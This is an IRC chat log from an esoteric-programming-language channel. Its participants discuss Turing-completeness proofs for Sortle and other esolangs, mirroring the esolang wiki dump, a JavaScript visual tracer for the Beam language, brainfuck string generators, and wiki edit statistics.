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11:24:42 <graue> so forte is "probably turing-complete", according to esowiki
11:25:02 <elliott> well, you can do loops, it's just confusing
11:25:10 <graue> i'm very interested in whether sortle is turing-complete; i think that assuming unbounded length strings, it might be
11:25:24 <elliott> probably BCT would be feasible; if it can be implemented in /// it can be implemented in anything
11:25:28 <mRoman> Loop until 99 becomes 2
11:25:31 <mRoman> that even looks insane.
11:25:39 <elliott> but I suspect nobody has the patience :P
11:25:44 <graue> so i should implement BCT in sortle?
11:26:13 <elliott> if it's any good at simple string manipulation, it's an easy way to prove TCness, yeah
11:26:20 <mRoman> that is just pseudocode
11:26:35 <elliott> mRoman: the actual language is worse, you have to reassign numbers to even loop
11:26:46 <graue> forte looks awesome, actually
11:26:55 <graue> i dig the idea of using numbers themselves as variables
11:26:57 <elliott> graue: the one problem I could see for TCness is if regular expressions don't end up being powerful enough... but I don't think you'd need that to do BCT
11:27:24 <mRoman> A language like the pseudocode would have been cool.
11:27:52 <graue> my so-called regular expressions in Sortle are pretty weak
11:28:34 <elliott> yeah, they're more like super globs :P
11:29:04 <elliott> it definitely looks like it has enough freedom to be TC
11:29:23 * elliott is reluctant to call anything sub-TC after his series of terrible Underload predictions
11:29:48 <graue> so i guess the idea is to create bct.sort that somewhere in it has "replace this with BCT program string" and "replace this with BCT initial data string", and you replace them and then run it
11:29:55 <mRoman> graue: Did you invent Sortle for some sort of school project?
11:29:56 <elliott> (every time oerjan tried to figure out whether another subset of Underload is TC I would insist it can't possibly be, but he proved me wrong every time :))
11:30:00 <mRoman> or university project whatever.
11:30:09 <graue> and if the BCT program halts, the sortle program halts and produces the final data string as output
11:30:22 <elliott> you don't need the output at all, really
11:30:24 <graue> mRoman: no, i just decided to create a .pdf of the spec for no reason
11:30:29 <elliott> though it helps as a constructive proof that the computation is actually happening :)
11:30:54 <graue> well, in sortle, any program that halts has already thrown away all data EXCEPT what is output
11:31:03 <graue> so, yes, it would help :)
11:31:07 <elliott> right, but the only thing you need to maintain is whether it halts or not
11:31:14 <mRoman> So you're Mike Feeney?
11:31:40 <graue> i used my middle name in that paper for some reason
11:31:42 <graue> so i guess so, yeah
11:33:09 <Ngevd> I know Luigi is TC, but I can't get anyone to believe me
11:33:23 <graue> elliott: if i can make it halt, it's not a lot more work to save the data string, really
11:33:23 -!- Ngevd has changed nick to Taneb.
11:33:31 <graue> Ngevd: write a proof
11:33:39 <graue> or implement BCT in it
11:33:52 <Taneb> A proof is simple but tedious
11:34:05 <Taneb> I can implement arbitrary Turing machines in it
11:34:38 <elliott> you haven't proved you can, only done so for specific instances :P
11:35:06 <graue> is the proof of BCT's turing-completeness not online anymore?
11:35:18 <graue> wiki mentions a link under External resources, but there isn't one
11:35:44 <monqy> would automating it be tedious too
11:35:47 <elliott> graue: http://esolangs.org/wiki/Bitwise_Cyclic_Tag#BCT_emulation_of_cyclic_tag_systems?
11:37:11 <graue> heh, which relies on a 1961 proof by Marvin Minsky
11:37:17 <graue> waaaay before my time
11:39:39 <monqy> taneb do fueue programs ever terminate
11:39:56 <monqy> is that the only way
11:40:44 <monqy> and the empty program is cat?
11:40:45 <Taneb> I think an empty program terminates
11:40:45 <mRoman> Is there a list of esofilearchive mirrors?
11:40:52 <monqy> you only think that?
11:40:55 <graue> oh, i just noticed BCT halts iff the data string becomes empty
11:41:07 <graue> so there's literally no data to preserve other than "the program halts"
11:41:21 <elliott> mRoman: I'm not sure there are any
11:41:27 <graue> mRoman: i don't think there are any public mirrors right now, feel free to set one up
11:42:25 * Sgeo boggles at a thing that supposedly can turn CL into a Lisp-1
11:43:09 <elliott> mRoman: on the off-chance that you do, do the wiki too. i'm not convinced pgimeno is still taking backups :p
11:44:00 <mRoman> So. We have one public esofilearchive mirror then.
11:44:05 <Phantom_Hoover> I thought you meant Lisp-1 like Banana Scheme's Scheme-ns.
11:44:34 <Sgeo> http://www.cl-user.net/asp/22C3/sdataQIUx9IbXRN5hDQ30CH8X8yBX8yBXnMq=/sdataQu3F$sSHnB==
11:44:47 <Sgeo> This is not, in fact, an entirely understandable to me introduction to code walking
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11:45:31 <mRoman> I hope users are periodically downloading the latest dump.
11:45:35 <elliott> An inactive-ish admin on the wiki listed on the old wiki preservation page.
11:45:36 <graue> pgimeno was a guy who was involved in the esolang community but hasn't been around much for 5+ years (i think)
11:45:50 <elliott> he was around only a few years ago when paintfuck was popular
11:46:08 <elliott> mRoman: i doubt anybody is, really
11:46:10 <graue> oh, ok... anyways, he claims to be backing up the wiki but who knows
11:46:17 <elliott> there were a few mirrors but they slowly died off but one
11:46:27 <elliott> well, he'll certainly have to update the crontab if he is :)
11:48:18 <graue> new mediawiki pet peeve: edit a page => save => go back 2 pages => "Are you sure you want to leave? Data may not be saved."
11:48:57 <elliott> oh, that's annoying... I think I can make that warning a preference
11:50:03 <ais523> you can use your browser's "back 2" command rather than clicking on back twice, but that's not really a perfect solutin
11:50:03 <lambdabot> ais523: You have 1 new message. '/msg lambdabot @messages' to read it.
11:50:03 <elliott> yes, apparently... I'll look into it later
11:50:10 <lambdabot> elliott said 5h 16m 48s ago: yep, Yandex is violating /robots.txt: 87.250.255.243 - - [26/Feb/2012:06:30:56 +0000] "GET /w/index.php?title=Auo&action=edit§ion=6 HTTP/1.1" 302 161 "-" "Mozilla/5.
11:50:10 <lambdabot> 0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
11:50:31 * elliott 's browser doesn't have a back 2 command
11:50:38 <elliott> unless you mean just going to the list of previous pages in the back button
11:51:31 <ais523> yep, that's what I mean
11:51:47 <ais523> oh, and I just ran your robots.txt through a syntax checker in case that was the problem, it parses fine
11:52:20 <elliott> I think what happened for that one, actually, is that it loaded http://www.esolangs.org/w/...
11:52:31 <elliott> and then got redirected to the www-less domain (thus the 302), and didn't load the target page
11:52:48 <elliott> hmm, actually, that doesn't make any sense, it should have loaded http://www.esolangs.org/robots.txt first anyway
11:53:03 <ais523> I guess you could make that page not a redirect?
11:53:18 <ais523> I can conceive of bots that don't follow redirects on robots.txt
11:53:55 <elliott> meh, I'll just wait to see if it does a third naughty thing and block it :p
11:54:04 <ais523> heh, Slashdot are discussing the whole issue of whether Macs get viruses, and someone mentioned that the worst malware infection they saw was on Solaris, and it had got in via a CDE vulnerability
11:54:18 <ais523> and the person was trying to figure out why anyone would bother to target CDE
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11:56:20 <ais523> and there doesn't seem to be a lot of point in asking
11:56:42 <graue> hey mRoman: thanks for setting up a mirror of the file archive
11:56:58 <graue> did you set up a cron job or script or something so it'll update automatically?
11:57:54 <ais523> wow that was a bizarre advert I just saw on YouTube, it was advertising some sort of game, which had bonus levels if you were using IE9
11:58:14 <ais523> I'm not entirely sure if that's an attempt to get people to switch away from IE8, or from Firefox/Chrome
11:58:29 -!- Taneb has quit (Read error: Connection reset by peer).
12:02:07 <ais523> a really old desktop environment
12:02:12 <ais523> with a famously obnoxious color scheme
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12:09:56 <mRoman> does zsync use special ports?
12:10:00 <mRoman> Or does it sync over http?
12:12:03 <elliott> it might be an unwise idea to expose the sync'd dump on your server, depending on your bandwidth quota, since it's ~150 megs
12:12:18 <elliott> it would be nice if zsync could work on a compressed copy itself but i haven't been able to look into that yet
12:12:44 <graue> yeah, i wrote a little script that does gzip -d && zsync && gzip
12:13:38 <graue> && rm esolang.xml.zs-old, or else it seems to leave the old version behind
12:13:50 <elliott> yes, that's probably the best way for servers that want to offer downloads
12:14:12 <elliott> i picked it over rsync because it means i don't have to maintain another server :p
12:14:32 <mRoman> I have no traffic limit
12:17:54 <mRoman> SVN apparently uses more than just 3690 tcp
12:18:44 <elliott> it uses 80 for http svn servers, presumably
12:19:04 <mRoman> then the filearchive is probably http
12:19:50 <elliott> " svn co http://esoteric.voxelperfect.net/svn/esofiles/ ./"
12:19:56 <elliott> seems like an accurate assessment to me :p
12:21:22 <mRoman> Someone locked the repository
12:21:27 <mRoman> I can't update right now
12:21:33 <mRoman> svn: Working copy '.' locked
12:21:41 <elliott> that sounds like a local problem
12:21:42 <graue> that's your local copy
12:21:44 <elliott> perhaps you locked it in a failed update?
12:22:01 <mRoman> It failed because iptables kicked it's ass ;)
12:24:03 <mRoman> I have so many iptables rules I had to write to my virtual hoster do increase my allowed rules count :)
12:32:45 <graue> i'm implementing BCT in sortle
12:33:12 <mRoman> I download the latest dump at 06:30 my current local time
12:33:24 <mRoman> and update the filearchive mirror at 06:30 my current local time
12:33:44 <elliott> anything after 6:15 UTC or so is fine
12:33:48 <mRoman> currently it's 13:36 here
12:34:05 <elliott> (before that runs the risk of triggering when the dump is being generated)
12:34:54 <graue> could you generate the dump as .xml.gz.part and rename it over the old .xml.gz only when it's finished?
12:35:13 <graue> (or even better have the .part be in a non-web-accessible directory)
12:35:24 <elliott> graue: yeah, I was planning to make the script do that
12:35:26 <mRoman> I just overwrite the last dump with a wget.
12:35:53 <mRoman> If your server gives me a bad dump.
12:36:04 <mRoman> But I can't afford a history of 20mb files
12:36:07 <mRoman> that'd flood the server.
12:36:31 <mRoman> I'll implement something like round-robin
12:36:49 <mRoman> elliott: Will that help if your server goes boom boom?
12:36:56 <mRoman> does zsync have a history so I can rollback?
12:36:56 <elliott> graue: but even then, if you download at e.g. 6:00 and it still gets the old dump, that means it takes you 24 hours to get any changes m:)
12:37:17 <elliott> mRoman: zsync saves the old file to zs-old if there are any changes
12:37:22 <elliott> mRoman: but if my server goes kaboom, it won't even start
12:37:44 <elliott> the main advantage of zsync is that it uses a tenth of the traffic :p
12:37:44 <mRoman> With boom boom I mean "delivers me a corrupt file"
12:38:04 <elliott> and it'd still go to zs-old
12:38:13 <elliott> (and the zsync file itself would have to be validly-formed for it to even start)
12:38:31 <graue> elliott: who cares if the dump is ~2 days old instead of ~1
12:38:50 <graue> the idea is just to not lose this stuff if the main server fails and/or the person hosting it disappears
12:39:10 <graue> which was a recurrent problem with esolang sites before we started the wiki
12:39:15 <graue> long before you were born. :P
12:39:57 <elliott> i have felt the effects with the 2400 different urls for catseye :)
12:40:26 <graue> indeed, catseye still has a lot of great content that's not on the wiki or file archive
12:40:44 <graue> we should see if we can get more of chris's implementations and docs into the archive
12:41:08 <elliott> I think catseye is pretty unlikely to go kaput these days, but yeah
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13:25:54 <mRoman> I have now a 3 day rotation of esowikidumps
13:26:10 <mRoman> http://eso.fmnssun.ibone.ch/wikidump/
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13:30:57 <mRoman> Which means I suck every day 20mb :)
13:31:14 <mRoman> (which is no problem for me)
13:31:20 <mRoman> My server has an average traffic of zero
13:32:29 <mRoman> If it weren't for irc.
13:32:42 <mRoman> which sucks about 5MB a day.
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13:35:30 <elliott> is there a reason you can't use zsync, out of curiosity? I'd like to fix any issues with adopting it so it's as useful as possible
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13:39:16 <mRoman> elliott: The wiki says it stores the file uncompressed.
13:39:51 <mRoman> a three day rotation of the gz-file uses only half of that.
13:39:58 <mRoman> So space is my concern.
13:40:19 <elliott> fair enough -- you could ask graue for his shell script, which would only use 150 megs for the duration of the download
13:40:33 <elliott> but it'd be nice if it could operate directly on the compressed files, i agree
13:41:53 <mRoman> My html/ is currently 442MB
13:42:01 <mRoman> and the uncompressed would exceed the 500MB
13:43:11 <elliott> right -- but by decompressing before and recompressing after as graue's shell script does, it'd be the same amount of storage (~57 megs) used normally, and about ~131 megs extra used for only a few minute interval when it actually does the download
13:43:22 <elliott> which is a lot less than 500 ;)
13:44:32 <Jafet> MB? Still using zip drives?
13:44:52 <elliott> you mean most people don't use zip drives?
13:45:09 <mRoman> I have 100MB of flash games on my server
13:45:14 <mRoman> which aren't really necessary
13:45:25 <mRoman> that would make enough space for the zsync
13:45:59 <mRoman> and 106MB of IRC logs.
13:46:44 <elliott> if you have a shell-script to do the rotation it's just 2 lines extra or so to compress post-zsync, which I'd recommend
13:46:50 <elliott> which would require freeing up considerably less space :p
13:47:08 <mRoman> I just delete files older than 3 days with find ctime
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14:44:40 <mRoman> Error: uncaught exception: [Exception... "Component returned failure code: 0x80040111 (NS_ERROR_NOT_AVAILABLE) [nsIDOMWindow.alert]" nsresult: "0x80040111 (NS_ERROR_NOT_AVAILABLE)"
14:46:36 <ais523> leading "ns" means either OS X or Firefox, doesn't it?
14:46:48 <ais523> they both use the same namespace prefix, much to everyone's confusion
14:47:42 <ais523> (for historical reasons in both cases: NeXTstep, and Netscape)
14:49:03 <kmc> netscape more like nutscrape
14:49:17 <kmc> intersuck exploder
14:49:54 <graue> welcome to 1997, kmc
14:50:25 <mRoman> firefox does not refresh innerHtml fast enough
14:50:59 <mRoman> I may have to refactor that to use setTimout calls
14:52:52 <elliott> graue: [THIS WEBSITE UNDER CONSTRUCTION]
14:53:23 <elliott> I think all wikis should have that, in big red letters, at the top of every page
14:56:26 <ais523> elliott: what if they have a red background?
14:56:57 <kmc> <blink><marquee>THIS WEBSITE UNDER CONSTRUCTION</blink></marquee>
14:58:08 <mRoman> Firefox won't display what I tell him with innerHtml
15:00:29 <elliott> maybe because it's innerHTML
15:01:32 <mRoman> Why doesn't firefox tell me there's no innerHtml o_O
15:01:42 <elliott> because you can set any property you want on an object
15:01:48 <elliott> although, hmm, I'm not sure that applies to DOM objects
15:01:50 <elliott> you're using Firebug, right?
15:01:58 <kmc> the first rule of programming language design is, don't give any error messages
15:02:06 <kmc> programmers /hate/ error messages
15:02:09 <kmc> makes them feel stupid
15:03:24 <olsner> don't give errors, just delete the source file if it's wrong
15:10:18 <graue> and just to be safe, delete any other source files in the directory
15:10:24 <graue> you know, in case they have errors too
15:11:05 <graue> so i successfully implemented BCT in sortle but then i tried to get fancy and i broke it
15:11:21 <graue> and that is where this story ends, for now
15:13:05 <mRoman> http://eso.fmnssun.ibone.ch/beam/ <- Works \o/
15:13:26 <mRoman> Fancy JS which displays how the code runs.
15:14:06 <elliott> sortle was turing-complete for a few brief minutes
15:14:31 <elliott> mRoman: does not appear to work in chromium :(
15:14:33 <graue> well i still have the working version, it's just not fancy
15:14:43 <mRoman> Define "not appear to work"?
15:15:07 <elliott> the prgoram appears when i click run, but then nothing happens :)
15:15:24 <mRoman> If you click on run under Debug the program should appear
15:15:31 <mRoman> and the current instruction is highlighted green.
15:15:40 <elliott> the program appears, but black on white, and nothing further happens
15:17:31 <elliott> hmm, the output does come out after a while though
15:17:36 <olsner> I wonder if this is the fix for that bug: https://github.com/ghc/ghc/commit/536e2a029dcc11c33c9448146b34513c682f17a
15:17:41 <mRoman> 6.0.472.63 (59945) Built on Debian 6.0, running on Debian 6.0.4
15:18:25 <elliott> mRoman: heh, well, mine is chrome 17 so it's pretty incomparable
15:19:16 <mRoman> elliott: Refresh the page
15:19:23 <kmc> i can see the green highlight, but only barely
15:19:32 <mRoman> does it at least show an underline under the current instruction
15:19:41 <mRoman> I admit depending on contrast the green is difficult to see :D
15:19:50 <elliott> it works now. how strange.
15:20:17 <elliott> is it meant to get stuck in >-! ?
15:20:19 <graue> what if instead of foreground you set the background color to #ff0 or something?
15:20:49 <mRoman> elliott: Not forever @stuck
15:21:08 <mRoman> not in all cases as discussed above
15:21:12 <elliott> #E1FECB and #EEF are good light backgrounds :p
15:21:21 <elliott> mRoman: right, it escaped eventually
15:22:00 <kmc> why is the variable in this language called a "beam"
15:22:15 <mRoman> >-! only works if the value to zero is odd
15:22:40 <mRoman> kmc: It's like a beam of light which travels through space
15:22:48 <mRoman> and that beam can hold a value :)
15:23:08 <graue> if it's a beam of light, that makes the bright yellow background color even more appropriate
15:23:39 <graue> i changed line 45 of beam.js to text += '<span style="background-color: #ee0;">' + re + '</span>';
15:24:10 <graue> btw, very nicely done javascript implementation
15:24:24 <graue> it's great to be able to see code run in this kind of language
15:24:30 <mRoman> now it's white on black
15:25:12 <elliott> yes, i really like tracers of 2d languages
15:26:30 <mRoman> feed it the even/odd program
15:26:34 <mRoman> and the character A in stdin.
15:26:54 <mRoman> http://esolangs.org/wiki/Beam#Even_.2F_Odd
15:27:29 <mRoman> (A is odd, B would be even and so)
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15:47:21 <mRoman> I should probably reset stdout at run()
15:48:43 <mRoman> I guess I should also dump the beam, store and memory access
15:53:21 <mRoman> No you can monitor the beam, store and memory at those locations
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16:11:58 <cheater> kmc: do you know any language where the parsing rules are affected by the so-far inferred types of elements of the expression being parsed
16:26:17 <kmc> i know languages which you can't really parse at all without executing them
16:26:27 <kmc> like Perl or TeX
16:27:40 <kmc> aiui TeX basically consumes characters from its input one at a time, and processes them according to a table of rules, which can be modified by said processing
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17:06:55 <Phantom_Hoover> I wish more esolangs actually bothered to have a syntax.
17:07:22 <Phantom_Hoover> Most of them are just specified as a flat list of instructions.
17:07:40 <kmc> that's because most of them are brainfuck clones ;)
17:08:17 <Phantom_Hoover> That I wish less esolangs were BF clones is putting it mildly, to say the least.
17:09:04 <Taneb> brainfuck is a gateway esolang
17:11:20 <Taneb> It's the Sailor Moon of esolangs.
17:12:01 <elliott> your whole LIFE is a brainfuck derivative
17:13:33 <Taneb> No, Phantom_Hoover, you ARE the brainfuck derivative.
17:13:46 <Taneb> (and then Phantom_Hoover was a brainfuck derivative)
17:13:47 <kmc> it seems like s-expression syntax would be a good choice for an esolang
17:13:55 <kmc> it seems like scheme would be a good choice for implementing esolangs
17:14:20 <kmc> it's very flexible
17:15:33 <kmc> and you can play fun metacircular tricks
17:16:35 <elliott> that only works when your language is close to scheme
17:16:43 <kmc> and you have first-class continuations
17:16:51 <kmc> which you can use to provide crazy control flow in your esolang
17:17:02 <kmc> or to provide fancy implementations that can run backwards etc
17:17:13 <kmc> well, i'd like to see more esolangs that are close to scheme
17:17:18 <kmc> at least they would not be brainfuck clones ;)
17:17:34 <kmc> that's an age-old rivalry of course
17:17:36 <elliott> it's kind of a well-mapped design space
17:17:41 <elliott> but http://esolangs.org/wiki/Banana_Scheme :p
17:17:49 <kmc> turing machines vs. lambda calculus
17:18:18 * kmc reads about banana scheme
17:21:03 <kmc> i'm not sure it's that well-mapped
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17:24:27 <kmc> congrats on the new domain btw
17:24:56 <ais523> well, same domain, new server
17:25:05 <kmc> oh, did esolangs.org work before?
17:26:36 <elliott> esolangs.org has worked since 2005
17:27:30 <ais523> it's been a mirror of esoteric.voxelperfect.net for pretty much forever
17:27:37 <ais523> although we swapped round which was the primary domain in the server move
17:28:37 <elliott> (though esolangs.org was always the more popular domain)
17:31:43 <Taneb> (I always used esoteric.voxelperfect.net, which seemed easier to remember
17:33:00 <Friendship> Easier to remember than 'esolangs.org'???
17:33:37 <mRoman> esolangs.org not the direct link to the wiki
17:33:51 <mRoman> esolangs.org pointed to some intermediate page
17:33:55 <mRoman> which had a link to the wiki
17:34:11 <mRoman> esolangs.org now redirects directly to the wiki
17:34:27 <Taneb> Friendship, I kept think it was esolang.com
17:34:29 <Friendship> Hard refresh and it goes to the wiki X-D
17:34:32 <mRoman> or without a time interval
17:34:52 <mRoman> Friendship: Using cache is so 1990 ;)
17:38:47 <elliott> <mRoman> esolangs.org pointed to some intermediate page
17:38:48 <elliott> <mRoman> which had a link to the wiki
17:38:52 <elliott> So did esoteric.voxelperfect.net.
17:40:42 <mRoman> I thought esoteric.voxelperfect.net went directly to the wiki
17:40:52 <mRoman> but I usually typed esolangs.org/wiki/
17:40:53 <ais523> no, esoteric.voxelperfect.net/wiki did
17:41:24 <mRoman> In the esoteric file archive there is a Brainfuck Genetic Text Generator.
17:41:36 <EgoBot> 88 +++++++++++++[>++>+++++++++>++++++++>+<<<<-]>>-.>.+.<-.<++++++.>+.>-.+.<------.>--.>---. [649]
17:41:50 <elliott> Anyway, esoteric.voxelperfect.net was literally identical to esolangs.org.
17:41:58 <mRoman> Does this produce optimal bf-code to print out strings?
17:42:05 <mRoman> optimal = smallest possible?
17:42:22 <EgoBot> 35 ++++++++[>++++++++>+>><<<<-]>+.>++. [7]
17:42:53 <elliott> mRoman: that's (provably) impossible.
17:43:14 <Taneb> How is it impossible? It's just extremely inefficient
17:43:38 <elliott> http://en.wikipedia.org/wiki/Kolmogorov_complexity#Incomputability_of_Kolmogorov_complexity
17:43:48 <Taneb> Halting problem my enemy
17:44:01 <Taneb> Okay, it's impossible /and/ extremely inefficient
17:44:03 <elliott> the halting problem only breaks the obvious brute-forcing approach.
17:44:15 <mRoman> elliott: In theory yes.
17:44:21 <mRoman> You could just limit the runtime of a program.
17:44:32 <elliott> yes, which would stop you getting the "optimal", "smallest possible"
17:44:54 <elliott> the fact that you might sometimes hit upon the optimal program with such a process does not mean it would "work"
17:44:55 <Taneb> You'd need to redefine optimal
17:44:58 <mRoman> If a program runs longer than 10seconds
17:45:06 <elliott> e.g., the process "return '.' for every string" also gives the optimal program for the output string "\000"
17:45:11 <mRoman> and has not generated a single number from 0-255
17:45:17 <mRoman> it's probably not a useful program ;)
17:45:23 <elliott> well, you never said useful.
17:45:30 <Taneb> If you define optimal as in "shortest running time", then generate an upper bound, and then brute force with a time limit
17:45:35 <elliott> useful is a whole 'nother bag of constraints... and one incredibly hard to codify
17:45:37 <mRoman> and by that I mean endless loop
17:45:58 <elliott> no, there are in fact an infinite number of programs fitting that criterion that are not infinite loops :)
17:45:58 -!- Taneb has left ("Goodbye").
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17:46:07 <mRoman> How high is the probability that the optimal program to print 'A' runs longer than 10 seconds?
17:46:14 <Taneb> Then you end up with just +++++++++++++...
17:46:42 <elliott> mRoman: you can create a provably perfect program for 'A' I'm sure
17:46:51 <elliott> it's just the optimal program to generate ord 'A' plus a .
17:46:56 <mRoman> The propability that 1 bit got shifted in your memory is also non-zero ;)
17:47:07 <elliott> it's much higher than zero, RAM errors happen all the time
17:47:28 <elliott> anyway, it's unlikely for "A" but there will be pathological strings that any such "reasonable" algorithm fails at
17:47:29 <Taneb> The probability of an ice cream suddenly appearing in my hand is non-zero
17:47:44 <Taneb> It's unlikely, but still theoretically possible
17:47:50 <elliott> making something reasonable doesn't defeat the mathematics :)
17:51:11 <mRoman> Printing 'A' requires a programm of length 65
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17:51:54 <mRoman> Which takes 65 "cycles"
17:52:16 <mRoman> Does a theoretical optimal program have more or less cycles or the same amount of cycles?
17:52:46 <fizzie> I would assume, if there are no qualifiers, that "optimal" in this context is the shortest.
17:52:49 <ion> Incidentally, i wrote a brute force-ish hack to convert strings to BF code recently. I’ll paste it, a moment…
17:53:16 <mRoman> fizzie: In this context, yes.
17:53:18 <fizzie> Which is likely to take more cycles than that.
17:53:36 <fizzie> ^bf ++++++++[>++++++++<-]>+.
17:54:26 <mRoman> do we count [ and ] as a cycle?
17:54:58 <mRoman> that have infinite cycles
17:55:19 <ion> https://gist.github.com/1917958
17:55:35 <mRoman> it has more than 65 cycles, yes.
17:55:41 <fizzie> One, if you think that the [ skips past the matching ], and current value is zero.
17:55:48 <fizzie> It has more than 65 even if you don't count the loops.
17:56:05 <fizzie> ^bf ++++[>+<++++]>++.!it's shorter with wrapping cells.
17:56:21 <mRoman> It would be nice to have two lists of brainfuck constants.
17:56:57 <mRoman> is it even possible to have a brainfuck program that prints A with less than 65 cycles?
17:57:10 <elliott> ion: Does it beat our GENETICS?
17:57:41 <ion> elliott: It probably won’t beat anything.
17:58:12 <fizzie> bf_txtgen is rather bad for short strings if you don't manually lower the number of "terms".
17:58:12 <EgoBot> 43 +++++++++[>+++++++>+>><<<<-]>++.+.+.+.+.>+. [189]
17:58:21 <fizzie> See the >><< there, for example.
17:58:30 <fizzie> That should've been run with -t 2.
17:58:32 <ion> λ> toBF "ABCDE"
17:58:33 <ion> expr 34 ">+++++++[<+++++++++>-]<++.+.+.+.+."
17:59:08 <Friendship> !bf_txtgen Sure, but bf_txtgen is pretty darn good for very long strings. How does ion's toBF cope?
17:59:11 <EgoBot> 804 ++++++++++++++[>+++>++++++>++++++++>++++++++<<<<-]>>-.>>+++++.<++.-------------.<<++.------------.>>---.>.-.<<<.>+++++++++++++++.>++++.-------.>.++++.----.<<+++++.--.>>------.<---------------------------------------------------------------.>-----.++++++++++.<.>---.++.<<.>>++..+++++.<.<<++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.---.>>>-------.----.<.<++.++++++++..<+++.>>.<<++.>.+++.>.<++++.<-.>----.+++++++.>.<<+++++++.>----------.-.
17:59:32 <fizzie> Yeah, that got kind of cut off, too.
17:59:34 <elliott> fizzie: You have that there scientific cluster, don't you?
17:59:36 <ion> friendship: 1443
17:59:44 <elliott> How willing are you to misuse it for important esoteric research?
18:00:28 -!- oerjan has joined.
18:00:31 <ion> It simply generates a constant expression for each character’s delta from the previous one.
18:00:32 <mRoman> finding shortest brainfuck constants?
18:00:39 <elliott> Brute-forcing, to be precise.
18:00:41 <fizzie> Friendship: With -t 6 and a bit of running, it goes down to 722.
18:00:55 <elliott> (Yes, a theoretically-impossible task; except I have a semiprecise definition of "useful".)
18:01:05 <elliott> (For instance in this case the setting is actually sub-TC.)
18:01:19 <elliott> fizzie: But... what if it was *super* fun?
18:01:20 <fizzie> I haven't even misused it for that AI tournament, and that's even a course.
18:01:27 <elliott> I thought you misused it for a silly once.
18:01:52 <fizzie> I don't remember anything like that, but that's no proof.
18:02:03 <fizzie> Soon it'll fit in IRC.
18:02:15 <ion> !bf_txtgen ☺
18:02:17 <EgoBot> 86 +++++++++++++++[>+++++++++++++++>++++++++++>++++++++++++>+<<<<-]>+.>++.>++++++.>-----. [107]
18:02:31 <elliott> fizzie: Well, if you chose not to remember it not happening, would that convince you?
18:02:54 <fizzie> ^bf +++++++++[>+++++++>+>><<<<-]>++.+.+.+.+.>+.
18:02:59 <fizzie> Right, it adds a newline too.
18:03:30 <fizzie> So the proper comparison would've been against "ABCDE\n".
18:04:02 <lambdabot> elliott said 9h 18m 19s ago: wow, your BCT interpreter was 2009?
18:04:03 <ion> Oh, my code is actually broken when it makes nested loops. Oh well, i have already lost the interest to toy with it.
18:05:18 <fizzie> It's not wanting to go down from 622. :/ :/ :\
18:05:52 <elliott> fizzie: Do you know what could help it?
18:07:11 <elliott> fizzie: PERFECT CONSTANTS.
18:07:24 -!- Taneb has joined.
18:08:20 <oerjan> elliott: maybe it's because i didn't do anything big in 2010. or did i?
18:08:52 <fizzie> oerjan: Well, there was that one time you saved the world from an alien attack.
18:09:15 <oerjan> fizzie: sadly i had to erase that from memory. or so i assume.
18:10:46 <elliott> oerjan: did you know that you have the most edits on the wiki?
18:10:54 <elliott> even ignoring reverts, undos and edits with "spam" in the summary
18:11:22 <elliott> yep. 1813 total, 1473 non-spamcleanup
18:11:34 <elliott> (I ran a DB query out of curiosity)
18:12:05 <oerjan> elliott: it is _possible_ some of the remaining summaries are still spam, of course :)
18:12:19 <Taneb> Bug report: Special:Statistics shows there are -1 active members.
18:12:25 <Taneb> I'm fairly confident this is false
18:12:59 <elliott> mysql> select count(*) from revision where rev_user = 89 and rev_comment not like 'Undo%' and rev_comment not like 'Revert%' and rev_comment not like '%spam%' and rev_comment not like '%SPAM%';
18:13:04 <elliott> better query suggestions welcome :P
18:13:14 <elliott> Taneb: yes, seen and annoyed
18:13:18 <elliott> i think it might fix itself in ~30 days
18:13:36 <elliott> mysql> select count(*) from revision where rev_user = 89 and rev_comment not like 'Undo%' and rev_comment not like 'Revert%' and rev_comment not like '%spam%' and rev_comment not like '%SPAM%' and rev_comment not like '%Spam%';
18:13:44 <elliott> oerjan: i don't think there's any way down from this totem pole of prominence.
18:13:57 <Taneb> On another note, this is my best family tree making program ever
18:13:59 <oerjan> elliott: i'm suggesting that i sometimes use rather punny summaries
18:14:07 <Taneb> It actually has an interface
18:14:12 <elliott> mysql> select count(*) from revision where rev_user = 89 and rev_comment not like 'Undo%' and rev_comment not like 'Revert%' and rev_comment not like '%spam%' and rev_comment not like '%SPAM%' and rev_comment not like '%Spam%' and rev_comment not like '%revert%' and rev_comment not like '%rv%'; ---> 1461
18:14:32 <oerjan> of course i _do_ correct a lot of typos and stuff
18:14:47 <elliott> oerjan: ok well if you figure out a way to shave off another 192 edits from that total you'll be second place
18:15:12 <elliott> oh, it'll take more than that i guess. since the second place has done spam reversions too, obviously
18:15:24 <elliott> i think you should just accept it. as well as the mandatory administrator rights it brings :D
18:16:01 <elliott> hmph. what a disappointingly subdued reaction.
18:16:23 <oerjan> what subdued reaction?
18:16:30 <elliott> see you'll be lulled into complacency
18:16:37 <elliott> and then ais523 will do it out of the blue
18:17:14 <ais523> I wouldn't sysop someone without their permission
18:17:30 <ais523> (elliott gave me the required perms as part of the wiki move)
18:18:02 <elliott> he is all-powerful. second only to the aller-powerfulest me. i have the ability to run fun queries to satisfy my curiosity on the live database
18:18:56 <Taneb> (Okay, why does elliott have imperium maius?)
18:18:59 <elliott> oerjan: anyway, see, complacency.
18:19:32 <oerjan> Taneb: the alternative was timwi, or something.
18:19:48 <elliott> The alternative was the communists.
18:19:54 <ais523> if you translate Esolang permissions into Wikimedia permissions, I'd be a steward and elliott'd be a dev
18:20:46 <elliott> ais523: devs don't usually have divine right to rule, do they?
18:21:08 <ais523> they have the technical capability to do so, but aren't allowed to
18:21:10 <ais523> CAN but SHALL NOT, etc
18:21:16 <Taneb> elliott, I thought you were a communist? You were on Pyralspite
18:21:38 <elliott> That was just a trap. to track down the communists.
18:21:40 <oerjan> once a year they go around wearing red and putting evil communist subsidies in americans' socks
18:21:58 <oerjan> (well they always wear red, of course, when they're not being stealthy)
18:22:04 <HackEgo> 486) <Taneb> This staircase is very good for correcting people's opininons about communism
18:22:33 <Taneb> COMPLETELY NEUTRAL OUT OF CONTEXT
18:22:39 <Taneb> RELATIVELY NEUTRAL IN CONTEXT
18:22:52 <Taneb> Oh, I love being centre-left on the political spectrum
18:23:08 <elliott> do you ever get the feeling Taneb isn't real
18:23:32 <Taneb> I once convinced myself I was a figment of elliott's imagination.
18:23:48 <elliott> i don't think i could think you up
18:23:54 <oerjan> elliott: hm i'd be assuming the reason you never met was because _you_ aren't real, but perhaps neither of you is.
18:24:29 <Taneb> The entire of South West Northumberland doesn't exist
